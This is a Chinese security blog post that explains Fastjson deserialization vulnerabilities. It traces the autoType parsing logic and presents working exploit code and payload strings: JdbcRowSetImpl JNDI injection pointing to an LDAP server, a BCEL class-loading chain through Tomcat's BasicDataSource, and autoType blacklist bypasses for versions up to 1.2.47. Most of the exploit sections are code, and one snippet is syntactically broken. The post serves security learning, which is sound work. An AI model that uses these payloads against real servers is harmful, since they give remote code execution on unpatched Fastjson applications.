Java反序列化之FastJson反序列化及绕过

渗透技巧 1年前 (2023) admin
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Java反序列化之FastJson反序列化及绕过

先抛出一个问题,一个Json解析的功能库,为什么能够代码执行呢

FastJson解析方式:

JSON形式解析字符串:

我们先来看一下FastJson的正常解析的使用方法,这里我们可以看到我们将字符串s进行解析然后输出,是以JSON形式进行的输出

package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class JSONUnser {
    public static void  main(String[] args) throws Exception{
        String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
        JSONObject jsonObject = JSON.parseObject(s);
        System.out.println(jsonObject);
        System.out.println(jsonObject.getString("param1"));
    }
}
//{"param1":"aaa","param2":"bbb"}
//aaa

指定解析类型解析为对象:

如果我们让他解析的形式是在类中进行解析,令字符串解析成一个Person对象,我们就得到下面对应的结果

package FastJson;

public class Person {
    private String name;
    private int age;

    public Person(String name, int age){this.name = name;this.age = age;}

    public Person(){System.out.println("constructor");}

    public String getName() {System.out.println("getName");return this.name;}

    public void setName(String name) {System.out.println("setName");this.name = name;}

    public int getAge() {System.out.println("getAge");return this.age;}

    public void setAge(int age) { System.out.println("setAge");this.age = age;}
}
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;


public class JSONUnser {
    public static void  main(String[] args) throws Exception{
//        String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
        String s = "{\"age\":18,\"name\":\"abc\"}";

        Person person = JSON.parseObject(s,Person.class);

        System.out.println(person.getName());
    }
}
/*
constructor
setAge
setName
getName
abc
*/

根据字符串反序列化任意类:

  • 上面是通过操作对应类,从而在类中进行字符串JSON解析生成对象,那如果字符串中前面加了@type,我们可以发现,@type对应的键值是可以直接解析指定的类的,我们可以发现通过传入不同的字符,可以执行不同的代码,这里就相当危险了。
  • 至于为什么要引入这个type,我们这里举一个不是很恰当的例子:
  • 现在有材料的衣服,一种是布料,一种是速干料,但是两种衣服外表是一样的,在生产过程的标签中(序列化过程),如果不加衣服的材料,在出厂反序列化的过程就会分不清,这样的话就会产生歧义,而如果加上材料,就相当于加上了@type这样的话,我们就可以分清楚衣服的材料对应哪一个衣服,但是又因为@type客户端可控,速干料的衣服就可以被贴上布料的标签,然后以便宜的价格去买到。
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;


public class JSONUnser {
    public static void  main(String[] args) throws Exception{
/*
        String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
        String s = "{\"age\":18,\"name\":\"abc\"}";
*/
        String s = "{\"@type\":\"fastjson.Person\",\"age\":18,\"name\":\"abc\"}";

        JSONObject jsonObject = JSON.parseObject(s);

        System.out.println(jsonObject);
    }
}
constructor
setAge
setName
getAge
getName
{"name":"abc","age":18}

上面我们就可以发现,通过解析字符串,最后竟然对Person里面的类进行了解析实例化赋值调用操作,赋值要不就是反射赋值,要不就是set函数去改,我们可以发现这里是通过调用Person里面的set函数去进行的赋值。下面我们就来代码调试一下看看这里赋值的逻辑是什么样的。

调用流程简单分析:

  • 我们在处理字符串的方法JSON.parseObject的地方下一个端点:
Java反序列化之FastJson反序列化及绕过
  • 我们看到最后他转了一个JSONObject:它其实对应的就是一个Map,然后我们跟进parse方法:
Java反序列化之FastJson反序列化及绕过 Java反序列化之FastJson反序列化及绕过
  • 这里我们可以看到使用了DefaultJSONParser,这里其实就是对传入的字符串进行解析,一般都使用DefaultJSONParser进行解析,然后我们再跟进下面的parse进入核心的逻辑,调试的东西太多了,这里就主要讲一讲逻辑吧,在解析的过程中,可以分为两个阶段,一个是对字符串形式的判断,是否为json形式,一个是对key和value的获取,先获取key的值,再获取value的值。
  • 这里我们关注一点,就是获取key以后,我们获取的应该是@type,会做一个特殊的调整,表示应该做java反序列化还是单纯的json反序列化,这里匹配到@type,所以后续要Java反序列化:
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  • 我们可以看到对类进行了loadClass加载,然后后面我们就要按照Java的逻辑来进行反序列化操作,这里第一步就是获取了反序列化器,然后用反序列化器进行反序列化操作:
Java反序列化之FastJson反序列化及绕过
  • 然后我们就来跟进一下是如何进行反序列化的,重点来关注一下里面的代码,最后会通过JavaBean来解析类
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  • 在创建类的反序列化器的时候,需要把类里面的东西进行了解,这里就通过build函数,我们再来看一下build函数:
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  • 在build整体逻辑中,先遍历了一遍method(set),然后遍历了一遍public fields,然后又遍历了一遍method(get),其中get条件是:
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……后面跟的很乱,就不在这里写了,具体后面要用到的基本上已经提到了……

FastJson漏洞链特点:

根据上文的分析,在反序列化时,parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType特性。如果@type标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。

首先我们先来总结一下FastJson反序列化和原生反序列化利用不同的点:

  • FastJson不需要实现Serializable
  • 不需要变量不是transient/可控变量:
    1. 变量有对应的setter
    2. 或是public/static
    3. 或满足条件的getter(返回值是):
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  • 反序列化入口点不是readObject,而是setter或者是getter
  • 执行点是相同的:反射或者类加载

FastJson<1.2.24:

JdbcRowSetImpl类+JNDI注入(出网):

调用链

  • 我们首先找到了漏洞的利用点是一个JNDI注入:
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  • 然后我们要看一下getDataSourceName下面的参数可不可控,可以看到存在setter方法,所以可控:
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  • 这里我们就要找一下对应的setter或者是符合条件的getter方法能够调用connect的方法:这里我们找到了三种,因为我们要用get或者是set方法,但是这里的get并不能满足我们上面所说的要求,所以这里我们选择setter方法:
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EXP:

  • 我们生成一下jndi注入的payload然后导入:
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package EXP;

import com.alibaba.fastjson.JSON;

public class FastJsonJdbcRowSetlmpl {
    public static void main(String[] args) throws Exception{


//@type调用com.sun.rowset.JdbcRowSetImpl类里面的setter触发connet,connect触发JNDI注入


// 第二个键对传入变量名
        /*
            public void setDataSourceName(String name) throws SQLException {
        */
// 第二个值对应JNDI注入的链接


// 第三个值对应调用connect方法的setAutoCommit
        /*
            public void setAutoCommit(boolean var1) throws SQLException {
        */
// 第三个值传入一个布尔值


        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/rNMfFuPI\",\"AutoCommit\":\"false\"}";

        JSON.parseObject(s);
    }
}

限制:

版本限制,依赖限制,出网(JNDI外联)

FastJsonBcel类+动态类加载(不出网):

调用链:

我们在jdk的内置类中找到了这样一方法,能够进行动态类加载,就是ClassLoader里面的loadClass方法,在里面调用了defineClass:

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我们先来看一下如何使用这里的动态类加载来加载任意类:

我们想要调defineClass,就要保证clazz不为null,然后我们就要调前面的createClass方法,然后里面调用了decode方法返回了clazz值,所以我们在编写exp的时候就需要先进行一个encode

Java反序列化之FastJson反序列化及绕过
package EXPFastJson;

import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert("D:\\Tomcat\\CC\\target\\classes\\EXP\\Demo.class");
        String code = Utility.encode(bytes,true);
        //使用BCEL方式动态加载一下
        classLoader.loadClass("$$BCEL$$"+code).newInstance();


    private static byte[] convert(String s) throws Exception{
    }
}

然后下面我们就需要考虑如何调用loadClass方法,在tomcat包下面找到了一个BasicDataSource的类,里面调用了forName方法,这里forName方法的底层逻辑其实调用了loadClass方法,所以如果我们让dirverClassLoader等于ClassLoader,让dirverClassName等于我们自己的恶意类,就可以执行。

Java反序列化之FastJson反序列化及绕过

然后恰好这两个变量还能够通过setter方法进行可控:

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然后我们就来看最后能不能调用到某个setter方法或者getter中,看哪里能够调用forName方法对应的createConnectionFactory方法:

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再寻找createDataSource方法:

Java反序列化之FastJson反序列化及绕过

最后我们就找到了getConnetion这个方法,所以单纯的调用流程就是下面这个样子,我们再把他转换为JSON的形式

package EXPFastJson;

import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert("D:\\Tomcat\\CC\\target\\classes\\EXP\\Demo.class");
        String code = Utility.encode(bytes,true);
//        classLoader.loadClass("$$BCEL$$"+code).newInstance();


        BasicDataSource basicDataSource = new BasicDataSource();
        basicDataSource.setDriverClassLoader(classLoader);
        basicDataSource.setDriverClassName("$$BCEL$$"+code);
        basicDataSource.getConnection();
//        JSON.parseObject(s);
    }

    private static byte[] convert(String filePath) throws IOException {
        File file = new File(filePath);

        // 检查文件是否存在
        if (!file.exists()) {
            throw new FileNotFoundException("文件未找到:" + filePath);
        }

        // 将文件内容读取到字节数组中
        try (InputStream inputStream = new FileInputStream(file)) {
            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int bytesRead;

            while ((bytesRead = inputStream.read(buffer)) != -1) {
                byteOutput.write(buffer, 0, bytesRead);
            }

            return byteOutput.toByteArray();
        }
    }
}

EXP:

package EXPFastJson;

import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert("D:\\Tomcat\\CC\\target\\classes\\EXPFastJson\\Demo.class");
        String code = Utility.encode(bytes,true);
//        classLoader.loadClass("$$BCEL$$"+code).newInstance();


//        BasicDataSource basicDataSource = new BasicDataSource();
//        basicDataSource.setDriverClassLoader(classLoader);
//        basicDataSource.setDriverClassName("$$BCEL$$"+code);
//        basicDataSource.getConnection();

        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";

//      parseObject是先parse后toJSON,这样我们才能调用get方法:getConnection()
        JSON.parseObject(s);
    }

    private static byte[] convert(String filePath) throws IOException {
        File file = new File(filePath);
        // 检查文件是否存在
        if (!file.exists()) {
            throw new FileNotFoundException("文件未找到:" + filePath);
        }
        // 将文件内容读取到字节数组中
        try (InputStream inputStream = new FileInputStream(file)) {
            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int bytesRead;

            while ((bytesRead = inputStream.read(buffer)) != -1) {
                byteOutput.write(buffer, 0, bytesRead);
            }

            return byteOutput.toByteArray();
        }
    }
}

FastJson<=1.2.47绕过:

漏洞修复:

我们可以发现在1.2.25中,对@type进行了修复,检测了是否能够进行AutoType,而1.2.24在这里是直接进行loadClass,所以我们就要对这里进行一个绕过,跟进一下这个函数:

Java反序列化之FastJson反序列化及绕过

checkAutoType检测流程:

然后我们使用流程图来理解一下里面这个函数里面的逻辑,看看什么时候来进行类的加载:

Java反序列化之FastJson反序列化及绕过
  • 在第一个中,因为在白名单中才能够进行缓存,所以这里不符合要求,第三个同理
  • 在第二个返回类当中,期望类为空且类与期望类一致的时候返回类,这里我们的期望类为空,所以这里能够符合条件,所以我们在往上找,只要缓存中存在类,我们就能够进行加载。
  • 第四个是基于期望类的,因为这里和期望类并无关所以也满足不了
  • 进入false来到第五个,又因为默认情况下AutoType为false,所以也加载不了

调用链:

所以能够有可能返回类的只有第二个,我们就来看一下如何在缓存中找到我们想要加载的类:

Java反序列化之FastJson反序列化及绕过

我们跟进getClassFromMapping方法中,从里面找mapping里面的缓存,然后在loadClass中我们可以发现是有可能对类进行控制的,其他地方都是指定了一些基础类进行的缓存,而loadClass这里只要我们加载类成功以后,他就会放入缓存中,下次调用直接从缓存中进行加载,这里我们就要想怎么才能够在loadClass的时候将我们的类加载入缓存当中:

Java反序列化之FastJson反序列化及绕过

根据图片里面的调用点我们最后确定了MiscCodec里面的deserialize函数中,当clazz==Class.class的时候会进行调用,然后我们来观察MiscCodec可以发现,他继承了反序列化和序列化的接口,在fastJson的反序列化中也会把他当作反序列化器来进行调用:

Java反序列化之FastJson反序列化及绕过

所以如果FastJson反序列化的类是属于Class.class的时候,就会调用MiscCodec反序列化器,然后调用loadClass,传入我们想传入的字符串strVal,然后在loadClass中作为String className进行加载并放在缓存里面。

Java反序列化之FastJson反序列化及绕过

具体赋值我们可以看这个位置:我们可以看到这里的parser对应的就是后面的lexer.stringVal比较,必须满足是val才能够不抛出异常,所以我们就让string=val就可以,然后后面我们对应反序列化的内容为恶意类就可以

Java反序列化之FastJson反序列化及绕过 Java反序列化之FastJson反序列化及绕过

EXP:

package EXPFastJson;

import com.alibaba.fastjson.JSON;

public class FastJsonBypass1247 {
    public static void main(String[] args){
        //第一步:反序列化一个Class类,值为恶意类
        //用之前payload从缓存中继续加载
        String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/cgQuBZlq\",\"AutoCommit\":\"false\"}}";
        JSON.parseObject(s);
    }
}

调试:

我们第一步是加载Class类,可以看到在缓存当中找到了,然后最后返回了Class类:

Java反序列化之FastJson反序列化及绕过

第二步我们就查到了对应的反序列化器是MiscCodec,然后调到MiscCodec类下的deserialze函数:

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然后在这里判断lexer.stringVal()里面是否存在val,不存在就抛出异常

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然后将我们的恶意类放入strVal里面进行loadClass加载,这里我们也可以发现在开启AutoTyoe的时候也存在绕过黑名单的一个形式:

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所以这样的话mapping就有了我们加载的恶意类,然后在调用之前的恶意类我们就能够直接进行加载了。

FastJson1.2.25-1.2.41绕过:

我们上面提到了在缓存中获取类的下面有两个判断,也就是说在我们开启AutoType的情况下可以用下面两种方式来进行绕过:

  • 如果以[开头则去掉[后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步)
  • 如果以L开头,以;结尾,则去掉开头和结尾进行类加载

所以我们用下面这个就可以绕过黑名单进行加载,开启AutoType:

import com.alibaba.fastjson.parser.ParserConfig;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"ldap://127.0.0.1:8085/rNMfFuPI","AutoCommit":"false"}
package EXPFastJson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonBypass1247 {
    public static void main(String[] args){
        //第一步:反序列化一个Class类,值为恶意类
        //用之前payload从缓存中继续加载
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

//        String s="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/hFtNevZa\",\"AutoCommit\":false}}";
        String s="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/hFtNevZa\",\"AutoCommit\":1}";
        JSON.parseObject(s);
    }
}

FastJson1.2.42绕过:

1.2.42相较于之前的版本,关键是在ParserConfig.java中修改了1.2.41前的代码

  • 对于传入的类名,删除开头L和结尾的;

但是可以发现在以上的处理中,只删除了一次开头的L和结尾的;,双写可以绕过。

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","DataSourceName":"ldap://127.0.0.1:8085/hFtNevZa","AutoCommit":1}

FastJson1.4.43绕过:

1.2.43版本修改了checkAutoType()的部分代码,对于LL等开头结尾的字符串抛出异常,这里我们就可以用[{进行绕过:

{"@type":"[com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8085/hFtNevZa","AutoCommit":1}
Java反序列化之FastJson反序列化及绕过

看到报错提示,期待出现[,但是出现了两个逗号,所以我们在后面再加一个[:

Java反序列化之FastJson反序列化及绕过

然后我们再按他说的在后面再加一个{:

Java反序列化之FastJson反序列化及绕过

成功执行。

FastJson的版本绕过除了1.2.47之外,还有两个版本的绕过,这次就先了解到这里,后面一段时间去学取证,等有空回来再继续啃Java。

参考文章:
https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://goodapple.top/archives/832

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版权声明:admin 发表于 2023年7月25日 下午11:25。
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